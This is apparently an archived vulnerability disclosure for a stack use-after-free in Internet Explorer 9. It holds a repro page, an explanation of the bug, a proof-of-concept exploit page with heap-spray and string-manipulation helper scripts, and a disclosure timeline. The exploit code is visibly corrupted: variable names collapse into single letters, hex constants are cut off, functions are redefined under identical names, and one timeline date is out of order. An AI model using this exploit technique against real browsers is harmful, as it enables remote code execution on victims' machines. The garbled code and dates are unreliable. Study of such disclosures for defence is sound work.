<!--
Source: http://blog.skylined.nl/20161206001.html
Synopsis
A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. A pointer set up to point to certain data on the stack can be used after that data has been removed from the stack. This results in a stack-based analog to a heap use-after-free vulnerability. The stack memory where the data was stored can be modified by an attacker before it is used, allowing remote code execution.
Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java should prevent an attacker from triggering the vulnerable code path.
Repro.html:
<!doctype html>
<script>
var o = window.open("about:blank");
o.exec('window.o = new URIError();o.name = o;')
try { "" + o.o; } catch(e) { }
try { "" + o.o; } catch(e) { }
</script>
Description
A Javascript can construct an URIError object and sets that object's name property to refer to the URIError object, creating a circular reference. When that Javascript than attempts to convert the URIError object to a string, MSIE attempts to convert the URIError object's name to a string, which creates a recursive code loop that eventually causes a stack exhaustion.
MSIE attempts to handle this situation gracefully by generating a Java exception. While generating the exception, information about the call stack is gathered using the Javascript class. It appears that the code that does this initializes a pointer variable on the stack the first time it is run, but re-uses it if it gets called a second time. Unfortunately, the information the pointer points to is also stored on the stack, but is removed from the stack after the first exception is handled. Careful manipulation of the stack during both exceptions allow an attacker to control the data the pointer points to during the second exception.
This problem is not limited to the URIError object: any recursive function call can be used to trigger the issue, as shown in the exploit below.
Exploit
As mentioned above, the vulnerable pointer points to valid stack memory during the first exception, but it is "popped" from the stack before the second. In order to exploit this vulnerability, the code executed during the first exception is going to point this pointer to a specific area of the stack, while the code executed during the second is going to allocate certain values in that same area before the pointer is re-used.
Control over the stack contents during a stack exhaustion can be achieved by making the recursive calls with many arguments, all of which are stored on the stack. This is similar to a heap-spray storing values on large sections of the heap in that it is not entirely deterministic, but the odds are very highly in favor of you setting a certain value at a certain address.
The exploit triggers the first exception by making recursive calls using a lot of arguments. In each loop, a lot of stack space is needed to make the next call. At some point there will not be enough stack space left to make another call and an exception is thrown. If N arguments are passed during each call, N*4 bytes of stack are needed to store them. The number of bytes left on the stack at the time of the exception varies from 0 to about 4*N and thus averages to about 4*N/2. The vulnerable pointer gets initialized to point to an address near the stack pointer at the time of the exception, at approximately (bottom of stack) + 4*N/2.
The exploit then triggers another stack exhaustion by making recursive calls using many arguments, but significantly less than before. If M arguments are passed during each call this time, the number of bytes left on the stack at the time of the exception averages to about 4*M/2.
When the second exception happens, the vulnerable pointer points inside the stack that was "sprayed" with function arguments. This means we can control where it points to. The pointer is used as an object pointer to get a function address from a vftable, so by using the right value to spray the stack, we can gain full control over execution flow.
The below schematic shows the layout of the stack during the various stages of this exploit:
| |
|<- bottom of stack top of stack ->|
| |
| Stack layout at the moment the first exception is triggered: |
| |
| [--- CALL X ---][-- CALL X-1 --][-- CALL X-2 --][...........]|
| |
|{---------------} Stack space available is less than 4*N bytes |
| |
| ^^^ |
| Vulnerable pointer gets initialized to point around here |
| |
| |
| |
| Stack layout at the moment the second exception is triggered: |
| |
| [CALL Y][CALL Y-1][CALL Y-2][CALL Y-3][CALL Y-3][........................]|
| |
|{--} Stack space available is less than 4*M bytes |
| |
| ^^^ |
| Vulnerable pointer still points around here, most likely at |
| one of the arguments pushed onto the stack in a call. |
| |
In the Proof-of-Concept code provided below, the first exception is triggered by recursively calling a function with 0x2000 arguments (N = 0x2000). The second exception is triggered by recursively calling a function with 0x200 arguments (M = 0x200). The values passed as arguments during the second stack exhaustion are set to cause the vulnerable pointer to point to a fake vftable on the heap. The heap is sprayed to create this fake vftable. A fake function address is stored at 0x28000201 (p) that points to a dummy shellcode consisting of int3's at 0x28000300 (p). Once the vulnerability is triggered, the vulnerable pointer is used to read the pointer to our shellcode from our fake vftable and called, which will attempt to execute our shellcode.
Sploit.html:
-->
<!doctype html>
<script src="String.js"></script>
<script src="spray.js"></script>
<script>
function stack() {
stack.apply(0, new Array(0x2000));
}
function attack(p) {
var ax = [];
while (ax.length < 0x200) ax.push((p - 0x69C) >>> 1);
exception();
function exception() {
try {
(function(){}).apply(0, ax);
} catch (e) {
throw 0;
}
exception.apply(0, ax);
}
}
var p = 0x09000000;
var d = {};
var p = 0x28000201;
var p = 0x28000300;
d[p] = p;
d[p] = 0x;
window.s = create(d);
window.u = get(d, p);
var o = window.open("about:blank");
function prepare() {
window.as = new Array(opener.u);
for (var i = 0; i < opener.u; i++) {
as[i] = (opener.s + "A").substr(0, opener.s.length);
}
}
o.eval("(" + prepare + ")();");
try {
String(o.eval("({to:" + stack + "})"));
} catch(e) {
o.eval("(" + attack + ")(" + p + ")");
}
</script>
<!--
String.js:
String.from = function (w) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from(w);
}
String.from = function (aw) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from.apply(0, aw);
}
String.from = function (dw) {
// Return a BSTR that contains the desired DWORD in its string data.
return String.from(dw & 0x, dw >>> 16);
}
String.from = function (au) {
var as = new Array(au.length);
for (var i = 0; i < au.length; i++) {
as[i] = String.from(au[i]);
}
return as.join("");
}
String.prototype.repeat = function (u) {
// Return the requested number of concatenated copies of the string.
var s = "",
u = 1 << (Math.ceil(Math.log(u + 1) / Math.log(2)) - 1);
for (var u = u; u > 0; u = u >>> 1) {
s += s;
if (u & u) s += this;
}
return s;
}
String.create = function(u, u) {
// Create a BSTR of the right size to be used as a buffer of the requested size, taking into account the 4 byte
// "length" header and 2 byte "\0" footer. The optional argument u can be 1, 2, 4 or 8, at which point the
// buffer will be filled with indices of said size (this is slower but useful for debugging).
if (!u) return "\u".repeat(u / 2 - 3);
var au = new Array((u - 4) / 2 - 1);
var u = u == 8 ? 8 : 4; // Most significant byte.
for (var u = 0, u = 4; u < au.length; u++, u +=2) {
if (u == 1) {
au[u] = u + ((u + 1) << 8);
} else {
// Set high bits to prevents both NULLs and valid pointers to userland addresses.
au[u] = 0x000 + (u % u == 0 ? u & 0x : 0);
}
}
return String.from.apply([][0], au);
}
String.prototype.clone = function () {
// Create a copy of a BSTR in memory.
s = this.substr(0, this.length);
s.length;
return s;
}
String.prototype.replace = function (u, dw) {
// Return a copy of a string with the given dword value stored at the given offset.
// u can be a value beyond the end of the string, in which case it will "wrap".
return this.replace(u, dw & 0x).replace(u + 2, dw >> 16);
}
String.prototype.replace = function (u, w) {
// Return a copy of a string with the given word value stored at the given offset.
// u can be a value beyond the end of the string, in which case it will "wrap".
if (u & 1) {
return this.replace(u, w & 0x).replace(u + 1, w >> 8);
} else {
var u = (u >>> 1) % this.length;
return this.substr(0, u) + String.from(w) + this.substr(u + 1);
}
}
String.prototype.replace = function (u, b) {
// Return a copy of a string with the given byte value stored at the given offset.
// u can be a value beyond the end of the string, in which case it will "wrap".
var u = (u >>> 1) % this.length,
w = this.char(u);
if (u & 1) {
w = (w & 0x) + ((b & 0x) << 8);
} else {
w = (w & 0x00) + (b & 0x);
}
return this.substr(0, u) + String.from(w) + this.substr(u + 1);
}
String.prototype.replace = function (u, u) {
// Return a copy of a BSTR with the given dword value store at the given offset.
if (u & 1) throw new Error("u (" + u.to(16) + ") must be Word aligned");
if (u < 4) throw new Error("u (" + u.to(16) + ") overlaps BSTR size dword.");
var u = u / 2 - 2;
if (u == this.length - 1) throw new Error("u (" + u.to(16) + ") overlaps BSTR terminating NULL.");
return this.substr(0, u) + String.from(u) + this.substr(u + 2);
}
spray.js:
console = window.console || {"log": function(){}};
function bad(p) {
// convert a valid 32-bit pointer to an invalid one that is easy to convert
// back. Useful for debugging: use a bad pointer, get an AV whenever it is
// used, then fix pointer and continue with exception handled to have see what
// happens next.
return 0x80000000 + p;
}
function blanket(d__, p) {
// Can be used to store values that indicate offsets somewhere in the heap
// spray. Useful for debugging: blanket region, get an AV at an address
// that indicates where the pointer came from. Does not overwrite addresses
// at which data is already stored.
for (var u = 0; u < 0x40; u += 4) {
if (!((p + u) in d__)) {
d__[p + u] = bad(((p & 0x) << 16) + u);
}
}
}
var gu = 0x02000000; // how much fragmentation do you want?
var gu = 0x00001000; // block alignment.
// Different versions of MSIE have different heap header sizes:
var s;
try{
/*@cc_ @*/
s = eval("@_jscript_");
} catch(e) {
s = "unknown"
};
var gu = {
"5.8": 0x24,
"9": 0x10, // MSIE9
"unknown": 0x10
}[s]; // includes BSTR length
var gu = 0x04;
if (!gu)
throw new Error("Unknown script version " + s);
function create(d__) {
// Create a spray "page" and store spray data at the right offset.
var s = "\u".repeat(gu >> 1);
for (var p in d__) {
s = s.replace(p % gu, d__[p]);
}
// Create a spray "block" by concatinated copies of the spray "page", taking into account the header and footer
// used by MSIE for larger heap allocations.
var u = Math.ceil(gu / gu);
var s = (
s.substr(gu >> 1) +
s.repeat(u - 2) +
s.substr(0, s.length - (gu >> 1))
);
var u = gu + s.length * 2 + gu;
if (u != gu)
throw new Error("Assertion failed: spray block (" + u.to(16) + ") should be " + gu.to(16) + ".");
console.log("create():");
console.log(" s.length: " + s.length.to(16));
console.log(" u: " + u.to(16));
console.log(" s.length: " + s.length.to(16));
return s;
}
function get(p) {
return ((p % gu) - gu) >> 1;
}
function get(d__, p) {
p = p || 0;
var p = 0x0;
for (var p in d__) {
p = Math.max(p, p);
}
u = Math.ceil((p - p) / gu);
console.log("get():");
console.log(" p: " + p.to(16));
console.log(" u: " + u.to(16));
return u;
}
function spray(d__, p) {
var u = get(d__, p);
// Spray the heap by making copies of the spray "block".
var as = new Array(u);
as[0] = create(d__);
for (var u = 1; u < as.length; u++) {
as[u] = as[0].clone();
}
return as;
}
Time-line
13 October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
18 November 2012: This vulnerability was submitted to ZDI.
27 November 2012: EIP declines to acquire this vulnerability because they believe it to be a copy of another vulnerability they already acquired.
7 December 2012: ZDI declines to acquire this vulnerability because they believe it not to be exploitable.
During the initial report detailed above, I did not have a working exploit to prove exploitability. I also expected the bug to be fixed soon, seeing how EIP believed they already reported it to Microsoft. However, about two years later, I decided to look at the issue again and found it had not yet been fixed. Apparently it was not the same issue that EIP reported to Microsoft. So, I decided to try to have another look and developed a Proof-of-Concept exploit.
April 2014: I start working on this case again, and eventually develop a working Proof-of-Concept exploit.
6 November 2014: ZDI was informed of the new analysis and reopens the case.
15 November 2014: This vulnerability was submitted to i.
16 November 2014: i responds to my report email in plain text, potentially exposing the full vulnerability details to world+dog.
17 November 2014: ZDI declines to acquire this vulnerability after being informed of the potential information leak.
11 December 2012: This vulnerability was acquired by i.
The accidentally potential disclosure of vulnerability details by i was of course a bit of a disappointment. They reported that they have since updated their email system to automatically encrypt emails, which should prevent this from happening again.
9 June 2015: Microsoft addresses this vulnerability in MS15-056.
6 December 2016: Details of this vulnerability are released.
-->
